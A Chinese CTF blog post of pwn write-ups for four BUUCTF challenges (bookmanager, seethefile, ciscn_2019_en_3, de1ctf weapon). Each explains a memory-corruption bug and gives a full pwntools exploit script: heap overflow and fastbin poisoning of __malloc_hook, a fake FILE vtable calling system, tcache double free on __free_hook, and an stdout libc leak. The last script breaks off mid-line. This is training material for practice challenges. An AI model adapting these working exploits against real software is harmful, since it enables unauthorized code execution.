BUUCTF pwn 四月刷题

BUUCTF四月刷题

[OGeek2019]bookmanager

这道题程序看似比较复杂,实际上好好分析程序的结构和逻辑之后,还是一个堆溢出,在updata函数中更新text时候可以更新0xFF长度的内容,造成溢出。这类题比较重要的是一定要弄清楚程序中的各种结构再下手。
libc泄漏的手段还是通过small bin free进unsorted bin之后打印出main_arena附近的地址;get shell是通过堆溢出修改FD指针打malloc hook,惊喜的是,居然不用realloc来调节栈地址了,直接用one gadget就打通了。

from pwn import *

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 25457)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add_chapter(chapter):
	io.recvuntil("choice:")
	io.sendline("1")
	io.recvuntil("name:")
	io.send(chapter)

def add_section(chapter, section):
	io.recvuntil("choice:")
	io.sendline("2")
	io.recvuntil("into:")
	io.sendline(chapter)
	io.recvuntil("0x")
	section_ptr =  int(io.recvuntil("\n")[:-1], 16)
	io.recvuntil("name:")
	io.send(section)
	return section_ptr

def add_text(section, size, text):
	io.recvuntil("choice:")
	io.sendline("3")
	io.recvuntil("into:")
	io.sendline(section)
	io.recvuntil("write:")
	io.sendline(str(size))
	io.recvuntil("Text:")
	io.send(text)

def remove_chapter(chapter):
	io.recvuntil("choice:")
	io.sendline("4")
	io.recvuntil("name:")
	io.sendline(chapter)

def remove_section(section):
	io.recvuntil("choice:")
	io.sendline("5")
	io.recvuntil("name:")
	io.sendline(section)

def remove_text(text):
	io.recvuntil("choice:")
	io.sendline("6")
	io.recvuntil("name:")
	io.sendline(text)

def preview():
	io.recvuntil("choice:")
	io.sendline("7")

def update_text(section, text):
	io.recvuntil("choice:")
	io.sendline("8")
	io.recvuntil("Text):")
	io.sendline("Text")
	io.recvuntil("name:")
	io.sendline(section)
	io.recvuntil("New Text:")
	io.send(text)


io.recvuntil("create: ")
io.sendline("start")

add_chapter("c0")
add_section("c0", "s0")
add_text("s0", 0x90, "aaa")
add_section("c0", "s1")
add_section("c0", "s2")
add_section("c0", "s3")
add_section("c0", "s4")

remove_text("s0")
add_text("s0", 0x90, "a"*0x8)

preview()
io.recvuntil("Text:aaaaaaaa")
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 88
libc_addr = main_arena - 0x3c4b20
print "main arena: " + hex(main_arena)
print "libc addr: " + hex(libc_addr)

# edit fd to attack malloc hook
add_text("s1", 0x60, "aa")
add_text("s2", 0x60, "aa")

remove_text("s2")

fake_fd = main_arena - 0x33
payload = "\x00"*0x60
payload += p64(0x0)
payload += p64(0x71)
payload += p64(fake_fd)
update_text("s1", payload)

add_text("s3", 0x60, "aa")

one_gadget = libc_addr + 0x4526a
realloc_addr = libc_addr + libc.symbols["__libc_realloc"]

add_text("s4", 0x60, "a")

payload = "a"*0xb
payload += p64(one_gadget)
payload += p64(realloc_addr)
update_text("s4", payload)

#debug("b *$rebase(0xF5F)")

io.recvuntil("choice:")
io.sendline("1")

io.interactive()

pwnable_seethefile

第一次做IO FILE的题目,记录一下。程序在exit功能处有一个bss段上的溢出,可以覆盖file指针,于是思路就是将file指针指向伪造的FILE struct结构体,并同时将vtable指针指向有是system的区域。

有几个注意点:

  1. 泄漏libc的方法是通过读取这个文件/proc/self/maps,找到libc地址
  2. 32bit下_IO_FILE结构体的大小是0x94,也就是vtable的偏移是0x94
  3. 构造FILE结构体只需要关注两个变量,第一个为FILE结构体的_flags字段,只需要_flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)。将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以’;'开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可。其中要注意的是_flags位送入的时候要符合小段法的原则,送入“\xff\xdf\xff\xff”,而不是"\xff\xff\xdf\ff",这样才能直接调用_IO_FINISH(fp)
  4. BUUCTF没有给libc文件,应该是漏了,pwnable.tw有对应的libc文件
from pwn import *

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 26869)
#io = remote("chall.pwnable.tw", 10200)
libc = ELF("./libc_32.so.6")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def open(file_name):
	io.recvuntil("choice :")
	io.sendline("1")
	io.recvuntil("see :")
	io.sendline(file_name)

def read():
	io.recvuntil("choice :")
	io.sendline("2")

def write():
	io.recvuntil("choice :")
	io.sendline("3")

def close():
	io.recvuntil("choice :")
	io.sendline("4")

def exit(name):
	io.recvuntil("choice :")
	io.sendline("5")
	io.recvuntil("name :")
	io.sendline(name)

open("/proc/self/maps")
read()
write()

io.recvline()
io.recvline()
io.recvline()
io.recvline()
libc_addr = int(io.recv(8), 16) + 0x1000
print "libc addr: " + hex(libc_addr)
close()

system_addr = libc_addr + libc.symbols["system"]


open("/proc/self/maps")
fake_file_addr = 0x0804B300

payload = "a"*0x20
payload += p32(fake_file_addr)	#addr:0x0804B280
payload += "\x00"*0x7c
payload += "\xff\xdf\xff\xff;sh".ljust(0x94, "\x00")   #addr:0x0804B300 fake file struct
payload += p32(fake_file_addr+0x94+4)	##addr:0x0804B394 vtable
payload += p32(0x0) * 2
payload += p32(system_addr)

exit(payload)


io.interactive()

ciscn_2019_en_3

读取ID的时候,由于用的read函数,没有\x00的截断,所以在下面puts的时候就可以泄漏出栈上的地址,进而得到libc基址。然后就是tcache double free,打__free_hook,最后执行system("/bin/sh")

from pwn import *

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 25940)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def debug():
	gdb.attach(io)

def add(size, content):
	io.recvuntil("choice:")
	io.sendline("1")
	io.recvuntil("story: \n")
	io.sendline(str(size))
	io.recvuntil("story: ")
	io.send(content)

def delete(index):
	io.recvuntil("choice:")
	io.sendline("4")
	io.recvuntil("index:\n")
	io.sendline(str(index))


io.recvuntil("name?\n")
io.sendline("coco")
io.recvuntil("ID.\n")
io.send("a"*8)

io.recvuntil("a"*8)
libc_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x81237
print "libc addr: " + hex(libc_addr)

add(0x30, "a")
add(0x20, "/bin/sh\x00")
delete(0)
delete(0)

add(0x30, p64(libc_addr + libc.symbols["__free_hook"]))
add(0x30, "a")
add(0x30, p64(libc_addr + libc.symbols["system"]))

delete(1)

#debug()

io.interactive()

de1ctf_2019_weapon

这道题没有puts函数,所以这里用stdout来泄漏libc。将一个0x70的chunk同时放入fastbin和unsorted bin中,这样就可以在fastbin的fd指针踩出libc中的地址,然后修改后几位(有一位需要爆破),让fd指针指向_IO_2_1_stdout_结构体所在的fake chunk,修改_flag和write base,使得打印出libc中的地址。最后打malloc hook来get shell。
注意点:

  1. 修改了stdout之后,再调用puts不会输出\n了,要相应的做修改
  2. 需要爆破的题目都可以使用IPython的embed功能进行调试
#coding=utf-8
from pwn import *
from IPython import embed as ipy

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debug(command=None):
	if not command:
		gdb.attach(io)
	else:
		gdb.attach(io, command)
def create(size, index, content, flag=0):
	if flag:
		io.recvuntil("choice >> ")
	else:
		io.recvuntil("choice >> \n")
	io.sendline("1")
	io.recvuntil("weapon: ")
	io.sendline(str(size))
	io.recvuntil("index: ")
	io.sendline(str(index))
	if flag:
		io.recvuntil("name:")
	else:
		io.recvuntil("name:\n")
	io.send(content)

def delete(index, flag=0):
	if flag:
		io.recvuntil("choice >> ")
	else:
		io.recvuntil("choice >> \n")
	io.sendline("2")
	io.recvuntil("idx :")
	io.sendline(str(index))

def rename(index, content, flag=0):
	if flag:
		io.recvuntil("choice >> ")
	else:
		io.recvuntil("choice >> \n")
	io.sendline("3")
	io.recvuntil("idx: ")
	io.sendline(str(index))
	if flag:
		io.recvuntil("content:")
	else:
		io.recvuntil("content:\n")
	io.send(content)

def exp():

	payload = p64(0) + p64(0x21)
	create(0x10, 0, payload) 	#0
	create(0x60, 1, "a")		#1
	create(0x10, 2, "a")		#2
	create(0x10, 3, "a")		#3

	delete(3)
	delete(2)

	rename(2, p8(0x10))

	create(0x10, 4, "a")

	delete(1)
	payload = p64(0x0) + p64(0x91)
	create(0x10, 5, payload)
	delete(1)

	fake_chunk = 0x75dd

	# debug("b *$rebase(0xC11)")
	# ipy()

	rename(1, p16(fake_chunk))
	rename
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值